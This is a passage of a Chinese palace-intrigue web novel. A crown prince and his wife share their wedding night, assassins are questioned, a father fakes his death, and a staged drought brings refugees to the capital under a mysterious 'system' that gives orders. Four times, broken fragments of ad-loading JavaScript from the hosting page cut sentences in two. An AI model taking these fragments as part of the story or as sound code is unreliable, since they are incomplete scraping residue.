时异一为争功,二为灭口,刀尖直冲一名刺客心口而去。谁知还未触及那人胸膛,便被于英挡开了这一击。 “抓活的!”于英瞪他一眼,同时俯身横刀砍向刺客双踵,一招致胜。 不多时,三个刺客都痛呼着倒地不起,此战于英功劳最大,倒显得时异像个累赘。 “带下去,分开审。”穆归衡道。 “是。”于英二人领命而去,行至门口,时异却被穆归衡叫住了。 “以后再遇到这种事,不要自作主张。”穆归衡严肃道。 时异垂首致歉:“卑职知错,不敢再犯。” 江御暮听见这段对话,便知时异吃了瘪,没赚到任何功劳。四舍五入一下,就相当于穆归礼吃了瘪,赔了计策又折兵,实在令她心情大好。 收拾完残局,穆归衡回到床边,隔着帷幔问道:“没吓着你吧?” 问完又觉得自己是在没话找话,几只苍蝇而已,她怎么可能会害怕呢? 江御暮没有回答他的问题,只将一只手伸出帷幔,拎着方才那段喜绸含笑道:“你自己把眼睛蒙上,我再告诉你答案。” 穆归衡旋即照做:“蒙好了。” 话音才落,他就被江御暮拉进了帷幔,在黑暗中失去重心,下意识将她护进自己怀中搂住。 怀中的触感太过陌生,使他后知后觉地红了脸,维持着与她相拥侧躺的姿势,一动也不敢动。 怪不得她要我自己先蒙好眼睛。他想。 “你、你已经、宽衣了啊……”穆归衡结结巴巴道。 “嗯。”江御暮玩味地观察着他的反应,“你方才不是问我有没有被吓到吗?” 穆归衡的喉结滚了滚:“是我问错了,你胆子比谁都大。” “是吗?可是我怎么觉得,我真的被他们吓到了呢?”江御暮牵过他稍显僵硬的手,按在自己的心口处,“否则,我的心跳为什么变得这么快呀?” 穆归衡知道她在说反话捉弄自己,却没办法跳出她的陷阱,更没办法全神贯注地感受她的心跳,分神时手掌微移,很快就引来她的一声轻笑。 羞赧过后,穆归衡索性破罐破摔,将她更加搂紧些问道:“你笑话我啊?” 江御暮环住他的脖颈,附耳道:“只是觉得你太紧张了,帮你放松放松而已。” 穆归衡起先还想否认,顿了顿,又觉得承认了也没什么:“嗯,紧张。” 两辈子的第一次,换做是谁,也会这样紧张的。 江御暮笑意不减:“没关系。”她来教他就是了。 不得不说,穆归衡是个很有天分的学生,一点就通。几番较量下来,甚至还能举一反三,触类旁通。江御暮现在才算明白了,所谓弟子不必不如师,师不必贤于弟子,大抵如是。 折腾一个多时辰才罢战息兵,二人沐浴之时,江御暮在浴桶旁点起几盏灯,穆归衡仍然蒙着双眼。 只可惜,他表现得越是正人君子,她就越想欺负他。 “摘了吧。”江御暮伸手勾住喜绸。 “不行。”穆归衡握住她的手腕,拉开一段距离,“系统会看见……总之不行。等沐浴完,你穿好衣裳再摘。” 江御暮玩笑道:“那你转过身去,它就看不到了。” 穆归衡抿了抿唇,怕被她看见自己腰后的“蛊纹”,立时拒绝道:“我不。” 江御暮的另一只手仍不安分,趁他分心之际,直接将那条红绸扯了下来。 穆归衡连忙闭上双眼,规劝道:“别闹了,快还给我。” 他的手在空中抓了两把,自然什么也没有抓到。为了不暴露腰后的花纹,他只能将后背紧贴浴桶,更是大大限制了活动范围。 江御暮从对面坐到他身旁,带动一片水波,潺潺的声响扰得穆归衡愈发心乱。 “放心吧,看不见的。”她终于对他交了实底,“水面上漂着满满一层花瓣,什么都能盖住,我只露了个脑袋。” 穆归衡面朝着她,半信半疑道:“真的?” “爱信不信。”江御暮说罢,又坐回了原处。 穆归衡偏过头去,先将双眼眯成一条缝,垂眸看向水面,确认她所言无误后,才放心睁开了眼睛。 江御暮正打算揶揄两句,谁知刚起了个头,剩下的话就被他的双唇堵住了。 穆归衡这一吻全无以往的温柔,像泄愤似的,时不时还用牙齿轻咬她的下唇,半晌方歇。 江御暮还未来得及喘匀气便嗔道:“干什么,报仇呢?” 穆归衡笑道:“嗯,就是报仇。” 他并没有对她说实话。 羞人答答的,说不出口。 方才在枕席之间,他什么都看不到,几度想吻她都找不准位置,只能乱亲一通。如今终于“重见天日”了,可不是得把这笔债讨回来么? 这笔账不知又算了多久,忽被一阵急切的拍门声打断。 “殿下!卑职有要事求见!殿下!”寝殿外传来于英的声音。 穆归衡语带抱怨,低声道:“这个时候,他来做什么……” “许是审出什么重要的线索了吧?”江御暮推开他,劝道,“你就去瞧瞧呗。” 她也好奇得紧,不知他们会不会把幕后指使供出来。 穆归衡刚要起身,却又犹豫着停住了动作,对江御暮道:“你……别看我。” 江御暮起先有些诧异,不过很快就反应过来了——穆归衡是怕她在他转身迈出浴桶之际,看到他腰后的墨纹。 “为什么不让我看?”她偏要跟他唱反调,看看他打算如何应对。 穆归衡却没打算找理由解释,直接拿起搭在浴桶边缘的喜绸,蒙住江御暮的双眼,在她脑后打了个死结。 江御暮放任他的动作,笑道:“又报仇呢?” 穆归衡顺水推舟道:“嗯,这样才公平。” 语毕加快动作出了浴桶,匆匆穿好衣裳推门而出。头发半干未干,夜风一吹便觉凉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 飕飕的。 “有何要事?”穆归衡问。 于英面色凝重,迟疑着开口道:“禀殿下,那三个刺客都开口了。说是……安王殿下派他们来刺杀您的。” “哦。”穆归衡面色不改,“并不是什么出人意料的答案,你何至于如此吞吞吐吐?” 于英的脸色愈发难看,躬身一礼道:“那三人还招了些别的东西,涉及太子妃与安王殿下的旧事,卑职不敢妄言,还请殿下亲自审问。” “太子妃?”穆归衡双眉紧蹙,神情满是防备,“那三人的供词里,都提到了她?” 于英微微点头:“是。” “说的是同一件事?” “是。” “与今夜行刺本宫之事有关么?” “无关。” “三人是分开依次审问的?” “是。” “审问他们时,你可曾主动提起太子妃?” “不曾。” “也就是说,这三人分别受审之时,全都在你不曾特意询问的情况下,主动招供了与今夜行刺无关的,所谓‘安王与太子妃的旧事’?而且就那么巧,三人都挑中同一件事招了?” “这……是。” 确认完这几个问题,穆归衡倏地舒展了眉头,于英也反应过来哪里不太对劲了。 穆归衡勾了勾唇角,摆出听戏的架势来,负手道:“你先说说吧,关于太子妃,他们都招了什么?” 于英讪讪摸了摸自己的后脑:“殿下恕罪,是卑职一时失察,才听信了歹人之言。如今想来,那三人除了刺杀殿下外,应该还奉幕后黑手之命,意图挑拨您与太子妃的关系。” 穆归衡没打算怪罪他,平静道:“你不必解释这些。本宫问什么,你答什么就是了。” “是。”于英挤出一个苦笑,“那三名刺客说,太子妃曾与安王殿下勾结,给您下了一种奇毒,害得您咳血之症骤然加重,险些丧命。卑职听完一想,您当时确实病得蹊跷,所以才……” “知道了。”穆归衡打断他。 事情已经很清楚了,没必要让于英继续说下去。 “不怪你误会。”穆归衡拍拍他的肩道。 要是石涅来审刺客,就不会闹出这样的乌龙。全府上下,唯他一人知道穆归衡当时是装病。 穆归礼亦不曾想到,江御暮早就把他的谋算全都告诉穆归衡了。可笑如他,竟还打算拿这件事做筏子,挑拨他们之间的关系,真是异想天开。 “殿下。”于英有些拿不准,“依您看来,这仨人会是安王殿下派来的吗?” “当然是了。”穆归衡不假思索道。 “可是……”于英始终想不通一点,“若真如此,他们为何要招出安王就是幕后指使呢?若是换了卑职,肯定会把屎盆子往其他殿下头上扣。” 这番措辞引得穆归衡几欲发笑,还好忍住了。 “很简单。”穆归衡正色道,“因为他不怕本宫知道真相,甚至可以说,他希望本宫能知道真相。他在挑衅。” 就算穆归衡向皇帝告发此事,穆归礼也能安然无恙。 若真闹到那一步,皇帝为了平息事端,也只会处死一个人—— 江御暮。 “卑职明白了。”于英似有所悟,继而问道,“那三名刺客,殿下打算如何处置?” “杀。” 语毕,穆归衡拂袖而去。 回到寝殿,关上门的一刹那,他脑中突然响起冰冷的系统提示音: “隐藏任务【亲佞远贤】已完成。” “红颜毒骨成祸水,菟丝附髓摧劲松。” “谨记,谨记……” 77. 笼中穷鸟欲计金蝉,釜底枯鱼诈死…… 江御暮沐浴完,换好衣裳便去睡了。本以为穆归衡要很晚才能回来,没想到她刚躺下就听见他推开了门。 江御暮起身撩开帷幔,探头问道:“是审出结果了么?” 不知是他没听见她的声音,还是其他什么缘故,穆归衡并无反应,在原地停了片刻。江御暮又将问题重复一遍,他这才回过神来,向她走去。 “审出来了,说是穆归礼派他们来刺杀我的。” 江御暮有些惊讶,他们竟招认得如此痛快? 她还想再问两句,却见穆归衡双眉紧蹙,目光低垂坐在床边,不知望着何处出神。 “怎么突然走神?”江御暮按照以往的经验推测,“系统又跟你讲话了?” 游离的神思被她的声音拉回,穆归衡点了点头,却不知该如何回答,只发出一个“嗯”字。 “又给你发任务了么?”江御暮拉着他的手柔声道,“不应该啊……理论上讲,你现在还处在【手足相残】任务的期限内呢。” 穆归衡对上她写满关切的双眸,实在无法把她和系统口中的“奸佞之人”联系起来。 与之相比,他更愿意相信系统是在挑拨离间,只是实在想不通它此举有何目的。 江御暮见他又开始愣神,便伸手在穆归衡眼前晃了晃,决意打破砂锅问到底:“它到底跟你说什么了?把你的魂都勾走了。” 穆归衡捉住她的手。 要据实以告吗? 她若得知自己被系统判定为所谓的“奸佞之人”,会有什么反应? 会生气,还是伤心? 会极力否认,自证清白,还是不以为意,揶揄调笑? 穆归衡猜不到答案,唯有一点微妙的预感无法回避——一旦他把系统的荒诞之语转述给江御暮,二人之间的关系就会产生难以弥合的裂缝。即便他故作轻松,甚至用讲笑话的语气提起此事,也会被认为是一种试探,是不信任她的表现。 不能再耽搁下去了,他总要给出一个回答。 “它说……” 撒谎时难免心虚,眼神的触碰更是容易将这种心虚疾速放大。穆归衡把江御暮揽入怀中,也好让自己避开她目光的动作显得不那么突兀。 “恭祝你我,百年好合。” 这实在是一句很烂的谎话。他不擅长撒谎,尤其是在她面前。 但江御暮没有戳穿,只在他耳边轻声道:“那就早些休息吧,睡不够会折寿的,还怎么百年好合呀?” 夜半,二人相拥而眠,却是各怀心思。两双眼睛都闭了许久,却无一人真正睡着。 不知什么时辰了,江御暮率先打破静默,轻声询问道:“你也在装睡吗?” 穆归衡睁开双眼:“彼此彼此。” 江御暮枕着他的胳膊,一根手指在上面画着圈:“我睡不着,咱们聊聊吧。” 穆归衡被她闹得胳膊发痒,却仍旧一动不动:“大半夜不睡觉,不怕折寿了?” 江御暮轻笑着支起半边身子:“偶尔一次,折也折不了几天。” 穆归衡也稍稍侧躺,与她四目相对:“那就聊吧,聊什么?” 江御暮旋即问道:“你方才也睡不着,是在想什么?” 穆归衡如实答道:“在想咱们初识之际,你常常来府上给我讲史。讲到安史之乱一节,你曾为那位贵妃感到不平。” 现在想想,世人把杨玉环视为红颜祸水,不是与系统对江御暮的评价如出一辙么? 她甚至还不是皇妃,只是太子妃而已,有何途径干涉朝政?何以被它冠上了这样莫须有的罪名呢? 江御暮若有所思,玩笑道:“怎么忽然想起杨贵妃的事了?不会是系统给你发了任务,让你效仿寿王李琩,把妻子拱手让人吧?” 穆归衡不悦地捏上她的脸:“再这样胡说八道,我就不陪你聊了。” 江御暮伸手搭上他的腰,动作虽亲昵,语气却不甘示弱,闭眼道:“那我先不奉陪了,睡觉!” 几缕发丝垂下,挡在江御暮的脸前,穆归衡将它们归拢至她耳后,认真道:“咱们离开京城吧。” 江御暮蓦然睁开双眼:“什么?” 穆归衡与她目光相接:“你我都知道此朝二世而亡的宿命,又何必留在京城淌这滩浑水呢?” 既然败局已定,如果他们被卷入其中,那么百年之后,江御暮在史官的笔下很有可能就是另一个杨玉环。即便她什么都没有做,也同样会被人安上“红颜祸水”的罪名。 “御暮,跟我走吧。”他牵起她的手,放在唇边轻轻一吻,“天地浩大,咱们何愁找不到落脚之处,平安一生呢?” 江御暮不知他为何忽然生出了离京之意,看着还颇为坚决。然而眼下时机未到,太子若有异动,必将影响整盘棋局,给涵州带来许多麻烦。 为了拖延时间,江御暮只能先找借口搪塞几句:“我倒无妨,只是你身为储君,陛下怎么肯放你走呢?” 离京的想法才冒出来不久,穆归衡还没来得及制定周密的计划,只能回以一句:“从长计议吧。” …… 次日一早,二人按规矩要入宫给皇帝请安。 梳妆时,穆归衡主动请缨,提出帮江御暮盘发。 “你还有这门手艺?”江御暮半信半疑,把梳子交到他手中,“也不知跟谁学的。” “没人教我。”穆归衡按着她坐在妆台前,“只是上辈子时常见到师父给师娘盘发,耳濡目染下来,总能学到几分皮毛。” “皮毛?” 江御暮本以为他只是自谦,直到几缕青丝被他编了拆,拆了又编,好容易全部固定起来,她才对着镜子叹了声气。 “果然只学到了皮毛。” 穆归衡以退为进,佯装泄气道:“要不,我还是给你找个梳头丫鬟吧?” “那倒用不着。”如他所料,她果然拒绝了,“你以后多练练吧。” “嗯。”穆归衡马上答应下来,“一定勤加练习。” 说说笑笑着用完早膳,二人便入宫去拜见皇帝。 皇帝才下了朝,还没顾得上批折子,一听太子和太子妃到了,连忙让人请进来叙话。 大半个时辰下来,他与江御暮总共没聊几句,大部分时间都拉着穆归衡嘘寒问暖。 坐在回府的马车上,江御暮喟然叹道:“一看见陛下那样关心你,我就想我爹了。他病重这些日子,我都不怎么见得到他。就连成婚这样的大事,他也没能亲眼见证。” 穆归衡闻言颇感意外 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :坊间传言都道江淮照是在装病,怎么听江御暮这样一说,他竟是真的病重不起了呢? “左右时辰还早,我陪你回江府看看他吧。”穆归衡提议道。 此言正中江御暮下怀,马车即刻改道驶向江府。 出面迎客的又是江连镜,他似乎宿醉未醒,整个人晕晕乎乎的,一看清江御暮的打扮便脱口道:“你的头发怎么回事?太子府的梳头丫鬟满十岁了么?” 穆归衡闻言赧然,刚想说点什么,江御暮却抢先一步岔开了话题。 “少管这些不相干的,我问你,爹起床了么?身体怎么样,可有好转?今早的药按时喝了么?” 江连镜瞥穆归衡一眼,头脑还算清醒,知道该说什么话。 “爹方才喝完药又睡下了。唉,这些日子一点不见好转,反而还越来越严重了。郎中说,爹他……大限将至了。” 江御暮深深一叹,酝酿片刻便掉下了泪珠。 回府路上,她靠在穆归衡的肩上,满面愁苦道:“我们可不可以晚些时候再离京?至少,我得送完我爹最后一程。” 穆归衡听得愈发心疼,满口答应下来。 江御暮闭上双眼,擦干泪长出一口气。 危机解决。 自这一日起,江御暮便总是显得郁郁寡欢,谁也逗不笑她。 太子护卫们聊起此事也是唏嘘。 于英私下里叹道:“真是世事无常,江府刚办完喜事,眼瞅着又要办丧事了。” 齐陌疑惑道:“殿下怎么不请几个太医去给江尚书治病?” “谁说没请?殿下早就让我进宫去请了!”石涅知道的最多,一股脑都说了出来,“可惜太医们全都推三阻四,不愿前往。我听说,好像是陛下那边不大乐意,觉得臣子让太医诊治实属僭越。唉,要我说,像这样人命关天的事情,还管什么僭越不僭越的啊!” 当然,这种话他只敢关起门来跟师兄们悄悄说,万不敢让别人听到。 因着太子妃心情不佳,这段时间太子府内的气氛有些压抑,连天公都不愿作美,几日来一直飘着厚厚的阴云,许久不曾放晴。 这一日清晨,越压越低的阴云终于下起了雨,雨势如开闸泄洪一般,地上很快就积起一层雨水,继而雷声阵阵,惊得路人全都躲回家中不出门。 石涅顾不上避雨,连伞都没打,从府门径直跑向内院,一边拍门一边高声喊道:“殿下!殿下!” 穆归衡正在给江御暮篦头发,闻声喊道:“进来回话。” 石涅将门推开一半,探头进来看一眼江御暮,犹豫道:“殿下,卑职浑身湿透,怕贸然进来污了您的寝殿,能否请您来门口详谈?” 他平日并不是这样瞻前顾后的人,穆归衡难免觉得有些奇怪。 石涅见江御暮并未看向自己,连忙给穆归衡使了个眼色。 穆归衡神色微变,快步走到门口,低声问:“出什么事了?” 石涅的两排牙齿打着架,不知是天气骤冷难以适应,还是突闻噩耗内心忐忑。 “江府管家方才来报……” 他的声音不大,时而被突如其来的雷声盖住一两个字,但穆归衡仍能听得清清楚楚。 “江尚书他……刚刚过世了。” 78. 办丧仪逝者屡诈尸,遇流民太子违…… 江淮照的丧礼于次日开始,费红英奉旨代皇帝前来吊唁。 穆归衡一直陪在江御暮身边,她们二人说不上话,费红英只能去找江连镜。 关起门来,江连镜擦干眼泪,半认真半玩笑道:“红英姐,你那有没有能助人流泪的药啊?我若再这样干哭下去,真要累出毛病来了。” 语毕还不等费红英回答,棺材里的江淮照便“诈尸”道:“臭小子,你爹都死了,不过让你哭几个时辰,你竟这样投机取巧?” 此时棺盖未合,费红英取下眼前飞绡,趴在棺材边笑道:“江叔,您生气归生气,骂孩子归骂孩子,可千万注意着些,别在外人面前诈尸啊。否则一旦您‘死而复生’的消息传扬出去,皇帝老儿该怪我办事不力了。” 江淮照只得重新闭上双眼:“也罢也罢,我再睡一觉就是了。” 费红英跟相熟的长辈说话一向没大没小,旋即笑问:“江叔,您现在可躺在十二万两黄金上头呢,能睡得着觉吗?” 江淮照睁开一只眼睛瞥向她:“睡不着才好,省得打呼噜发出声音,把前来吊唁的人吓死。” 费红英从袖中取出一个小瓷瓶放进他手中:“今日人多,难保不会碰上一两个眼尖的。这瓶假死药您收好,自己掂量着吃。” 接着又把一瓶解药交给江连镜,详细讲明了各种注意事项才转身离开。 “等等!”江连镜在费红英伸手欲推房门时叫住了她。 “还有何事?”费红英不解。 江连镜小跑两步站定在她近前,斟酌片刻才道:“再过七日,我便要带所有家丁扶柩归乡了。” 费红英点点头:“我知道,这个日子有什么问题吗?” “不、没有。”江连镜回头望一眼棺材,继而转过来对她低声道,“我们离开以后,京中便只有你和费姨能帮衬江御暮了。” 费红英反驳道:“也不尽然。” 江连镜一怔道:“还有别人?什么人?靠得住吗?有我认识的人吗?” 费红拍拍他的肩:“这些问题就不劳江大少爷操心了。” 算算日子,这批人应该快到京城了吧?也不知江御暮有没有收到消息,如今她住在太子府内,联络起来真是处处不便。 好在七日后,她便有了离府出京打探消息的契机。 江连镜扶柩归乡时,江御暮和穆归衡一路相送,行至京外远郊才停下马车。 两姐弟告别之时,忽有一个衣衫破旧,蓬头垢面的行乞女子从远处走来,几度想要靠近他们,却又因顾忌马车四周的护卫们而不敢上前。 江御暮最先看到她,似乎想到了什么,便对身旁的穆归衡道:“你瞧那女乞儿,是不是想来讨几个钱?怪可怜的。” 穆归衡听罢唤来石涅,让他把几块碎银拿给那女人。 石涅接过钱,刚走出两步,那女人却立即吓得躲开几步,垂下头不敢看他。 石涅进一步,她便再退一步。 石涅退一步,她却没有动作。 “你别害怕!”石涅只能隔着一段距离对她说话,“我只是想把这些钱给你。” 那女人仍旧没有抬眼,有气无力道:“你……你有刀。” 石涅失笑:“有刀怎么了?我又不会乱砍人。” 江御暮拉一拉穆归衡的袖子道:“听声音,这姑娘也就十五六岁的样子,许是不敢让陌生男人靠近,还是我去吧。” 说罢唤回石涅,自己朝那姑娘走去。 这次那姑娘果然没有躲开,江御暮把碎银放进她手中,轻声道:“唤玥,你可真是长本事了,就不怕有人认出你来?” 江唤玥没有抬头,一副怯怯之态,声音里却带着几分狡黠:“没事,隔着这么远,他们看不清的。再说我也不会在此久留,一会就溜了。” 江御暮微微挪动步伐,挡住她的身形道:“你跑来这里扮乞儿,不是为了讨这几个钱吧?” “当然不是了。”江唤玥这才抬头看她,顶着满是脏污的脸,眨着圆溜溜的大眼睛,模仿着大人的语气说道,“只是为了跟你说一声,人都到了,尽快开始准备下一步吧。” “来了多少人?”江御暮问。 “一百出头,差不多男女各半。” 江御暮在心里盘算片刻,又问:“涵州刺史的奏折什么时候到?” 江唤玥摇摇头:“这我就不知道了,什么奏折呀?” 江御暮没有多言,让她先走,而后一人回到马车旁。 江连镜方才也听出了江唤玥的声音,揣着满腹疑问却不能直接问,只能旁敲侧击道:“那姑娘什么来路啊?胆子这么小,应该不是自幼便开始行乞的吧?” 江御暮长叹一声:“我问了,她原是寻常农家的女儿,今年赶上大旱,家里没有收成,又借不到粮,便只能出来乞讨了。” 穆归衡闻言疑道:“大旱?那姑娘可曾提到,她是哪里人?” “涵州人。”江御暮满目同情道,“不止她们一家受灾,临近几个村子基本都空了,只能成群外出找活路。” “那岂不是成了流民?”江连镜似有所悟,与她打起配合来,“哎呀,当真可怜。” 穆归衡蹙眉道:“流民一多,便易生乱。她可曾提及此次共有多少流民来京?当地附近的其他州府可有类似的灾情?” 江御暮摇头道:“那姑娘也说不清楚。不过,灾情若严重到了难以控制的地步,应该会有当地的官员上书向朝廷求助吧?” 以往为了让皇帝安心,穆归衡从不过问政事,今日骤见京外有“灾民”行乞,实在无法坐视不管,随即入宫去向皇帝禀报此事。 皇帝听罢并不惊讶,反而慈祥一笑道:“归衡,你还是太年轻,太容易遭人蒙蔽了。” 穆归衡不解他此言何意:“遭人蒙蔽?” 皇帝从旁抽出一册奏折扔给他:“你自己看看。” 那是涵州刺史周望安上的折子,两日前就送到了皇帝手中,但他一直没有回应。 穆归衡读完,简要概括道:“周刺史说涵州今岁突逢大旱,多有流民,希望朝廷能调粮赈灾,减免税赋。” 他并不觉得这份奏折有什么问题。 “你还没想明白吗?”皇帝见他如此不开窍,无奈解释道,“周望安为何早不报灾,晚不报灾,朕前些日子刚下了加税之旨,他偏偏就选在这个时候报灾?还要求减免税赋,难道不是拐弯抹角地抗旨么?” 穆归衡反驳道:“涵州与京城相距甚远 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,文书一来一回颇耗时日。也许周刺史递送这道奏折时,您的旨意尚未传至涵州呢?” 皇帝有些不悦:“即便如此,朕看他的折子也颇有夸大其词之嫌。若真有如此严重的旱灾,必定影响极广,其他州府为何没有官员上书?难道那灾星就盯准了一个涵州么?” 依他看来,涵州也许只是遇到了一次小灾,只要当地百姓咬咬牙,勒紧裤腰带就能挺过去的那种。周望安却把它虚报成了数十年难遇的大灾,意图借此骗来朝廷的赈灾粮款,中饱私囊。 穆归衡虽觉他的分析有些道理,但仍然迈不过去一个坎:“即便如此,可京外的流民——” “够了!”皇帝不愿再与他争论,“你就是太心软,才会被这些装可怜的把戏骗过去!为储君者,若不能做到心明眼亮,叫朕百年之后如何放心把天下交到你手中呢!?” 穆归衡冷笑一声:“儿臣自是难堪大任,父皇不妨另立储君,也好早日安心。” 此话一出,系统又发出提示:“检测到违规行为【自请废太子】,即将降下惩罚。” 穆归衡立时跟它玩起了文字游戏,心道:我方才只是让他再立一个太子,又不是让他废了我,何处违规了? 系统啧啧两声,居然真的没再为难他,连穆归衡自己都有些意外。 皇帝却被他这句话气得不轻,想抄起桌上的奏折砸他脑袋,又实在舍不得。 半晌,皇帝将所有怒火化作一声叹息,又变成了语重心长的慈父。 “另立储君?你倒说说,让朕立谁?” 他的话中带着几分自嘲,并不是真的想问出一个答案,也没有给穆归衡留出插话的机会。 “朕虽说有六个儿子,实际却只剩下五个。你大皇兄走得早,没享够多少福就去了。” “你二皇兄呢?自小便不爱读书,朕心疼他,便也随他的心意,不叫他忙碌疲乏。” “再说你三皇兄,一天到晚就知道喝酒,给朕惹出了多少乱子,难道朕还能把储位交到他手中?” “至于你四皇兄……” 安王穆归礼。 皇帝语塞半晌,闭上眼深深一叹。 “这孩子是个有心气的,若非……唉,算了,不提也罢。” “朕现在就盼着你多子多福,开枝散叶,早日让朕抱上皇孙呐。” 皇帝喋喋不休,说了许多肺腑之言,穆归衡却没怎么听进去,满心都想着涵州的灾情和京外的流民,目光锁着周望安的奏折久久不移。 晚间回到府中,穆归衡吩咐石涅:“去准备准备,带人在京郊设个粥棚,给流民施粥。” 石涅对他挤了挤眼睛:“殿下和太子妃可真是心有灵犀。” 穆归衡惊讶道:“她已经开始准备了么?” 石涅重重点头:“嗯,太子妃正在亲自熬粥。” 穆归衡面色微变,加快脚步喃喃自语:“这可不行。” 石涅听了笑道:“殿下放心,太子妃只是熬粥,又不做重活,您不用这么急着去拦!” 穆归衡恍若未闻,径直向厨房赶去。 他哪是怕江御暮做重活呀。 只是想起了上次那块糕点的味道,怕她的厨艺让灾民再受一次苦而已。 79. 国师面圣巧言令色,太子上朝主动…… 粥棚开设次日,风声便传到了皇帝耳中。 官员们纷纷溜须拍马,大赞太子仁德,皇帝却像吞了只苍蝇似的,待要发作,又师出无名。 在他看来,反正那些流民不过百十来人,并不算多,他们身上又没有路引,进不得京城,只要在外多耗些时日,迟早有饿死的一天,不会给朝廷带来什么麻烦。 但他没想到穆归衡会公然接济流民。施些银子出去事小,把涵州所谓“受旱灾之害”一事传扬出去事大。百姓们不清楚内中疑点,若见皇帝迟迟不拨银粮救灾,必然会对朝廷生怨。 皇帝本打算先派一队钦差去涵州查明灾情如何,再作打算。奈何一则路途遥远,来回两程颇耗时日,二则他也担心钦差存有私心,向涵州官员索贿后与之沆瀣一气,合伙欺上瞒下,骗来赈灾款后中饱私囊。 为此,皇帝已经很头疼了,久久想不出万全之策。太子倒好,不但不为他分忧,反而还跟他对着干,实在让他失望! 以往遇到这样的难题,皇帝总会让江淮照替他出谋划策,以那只老狐狸的精明,不愁找不到破局之法。 可惜现在…… 也许是年纪大了的缘故,皇帝下令杀他时毫不犹豫,待他真的一命归西了,皇帝反而渐渐开始后悔起来。 再怎么说,江淮照毕竟是他的故交。二人在前朝做了十年同僚,又在本朝做了近二十年的君臣,利益之外,也不能说全无情分。 如今斯人已矣,遇上此类烦难之事,也不知该找何人商议。 “陛下,国师求见。”老内监前来通传。 哦? 皇帝眼神一动。 怎么把他给忘了! 国师卜卦之才非同凡响,只要让他算一算涵州的灾情究竟如何,不就相当于派出钦差亲眼得见了吗? 更重要的是,国师久居京城,涵州官员没机会向他行贿,也不可能与他合谋欺瞒朝廷。 “让他进来!”皇帝抬高了声音,似乎有些迫不及待。 费红英一进御书房,还没来得及说自己的事,刚行了半个礼便被皇帝打断。 “爱卿可曾听闻涵州旱灾一事?” “回陛下,微臣有所耳闻。” 皇帝命人给她赐了座,又道:“朕觉得此事有些猫腻,爱卿不妨替朕算一卦,看看这所谓灾情究竟是真是假,是大是小。” 费红英正色道:“陛下,微臣正是为了此事来求见您的。” “哦?”皇帝观其神色,便知此事并不简单,“快讲!” 费红英微微蹙眉:“微臣早先私下算过,今岁应是风调雨顺之年,谁知今早却听闻涵州遭逢旱灾,实在令人惊诧。为证当初推算无误,微臣方才便又起了一卦。” 皇帝愈发向前倾身,全神贯注道:“结果如何?” “灾情是假。”费红英斩钉截铁道,“涵州官员求财无道,竟敢欺瞒圣上。” “那京外的流民呢?”皇帝又问,“为何都道自己深受旱灾之害?” “流民是真。”费红英一叹道,“但他们之所以流离失所,不是因为受灾,而是受当地官员威逼,不敢不从。” 皇帝本就如此猜测,听她这样一说,更是深信不疑,拍案道:“好个周望安,真是活够了!朕若不活扒了他的皮,简直枉为人君!” “陛下息怒。”费红英阻拦道,“您要杀他,随时都能杀,不必急于一时。微臣倒是有个一举三得的主意,您可愿听上一听?” 皇帝思索片刻,来了兴致:“什么主意?” 费红英露出一个意味深长的笑容:“派遣钦差,拨款赈灾。” 皇帝大为不解:“此举如何能有‘三得’?” 费红英俨乎其然,一一列举。 “第一‘得’,师出有名。微臣的卦辞在旁人眼中终究算不得铁证,您若现在就下旨诛杀涵州刺史,必有许多愚昧无知之人污您圣誉,说您听信佞臣之言,不顾灾民的生死。唯有派遣钦差实地查证,才能让天下臣民心服口服。” 皇帝点点头:“嗯,是这个理。” 费红英继续道:“第二‘得’,充实国库。陛下虽已下旨加征赋税,但最快也要秋后才能见到成效,远水解不了近渴。如今不妨借赈灾之名,要求朝中官员捐集钱粮,同时严查历年贪腐积案。左右涵州并无灾情,钦差回朝以后,这些赈灾款理所应当归于国库。” 皇帝若有所悟,点了点头。 是啊,为官者哪有不贪的呢?如今国库吃紧,总不能只从百姓身上榨钱,也得让这帮家伙出出血。 费红英为表忠心,还主动言明:“微臣蒙陛下之恩,忝列衣冠,平日多有朝臣奉承赠礼。累月下来,共计三千七百余两银钱,府内俱有记账。陛下若要杀鸡儆猴,可先拿微臣开刀,以解国库燃眉之急。” 皇帝早知许多官员都在巴结讨好国师,若有金钱往来也是人之常情,他从没指望费红英能做到两袖清风。 不过她今日之举,倒是让皇帝高看了一眼。 “罢了。”他眯着眼笑道,“朕便是要杀鸡儆猴,也杀不到你这只三千多两银子的小麻雀。比起清浊,朕更看重你的忠心。至忠之人,便是再贪些又有何妨?” 费红英行礼谢了恩,接着说道:“此次赈灾,最好能由太子殿下担任钦差,出使涵州。” “这如何使得?”皇帝立刻拒绝,“太子自小便娇养在京城,从未离开过朕的庇护。涵州山高路远,他又旧疾初愈,哪里经得起这样的操劳?” 费红英义正辞严:“陛下,这便是微臣要说的第三‘得’——太子正是因为缺乏历练,才会被这等雕虫小技骗过去,因而深信涵州遇灾。唯有让他经历一番磨炼,亲眼得见真相,他才能有所反思,拜服于您的远见明察。” 皇帝还想反驳,可是扪心自问,又觉得她这番话不无道理。 穆归衡的确被他保护得太好了,所以才那样天真。皇帝能护他一时,却不能护他一世,他终有一日要自己面对险恶的朝堂,不能不早早开始历练。 更重要的是,以穆归衡的脾性,绝不会与涵州的官员同流合污。让他出任钦差,确实再合适不过了。 皇帝沉默思索良久,终于答应了下来,即刻明发圣谕,命百官捐银筹粮。不过他并未即刻宣布钦差的人选,不知是不是尚未下定决心。 消息一出,朝中与民间都议论纷纷。数日下来,所筹银钱只有数万而已,远远没有达到皇帝的预期。 费红英私下给穆归礼递了话,让他弹劾几个贪污受贿的官员,借此迎合圣心。 穆归礼旋即照 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 做,果然得到了皇帝的夸奖,连带着几次抄家的肥差都落到了他手里。他也没有独吞油水,悄悄给费红英分了一成。 这些日子里,江御暮和穆归衡时常待在京郊的粥棚,偶尔能看到押送人犯的队伍,每每询问,都是被抄家流放的贪官。 穆归衡见之不由感叹:“天子脚下,竟也藏污纳垢至此。” 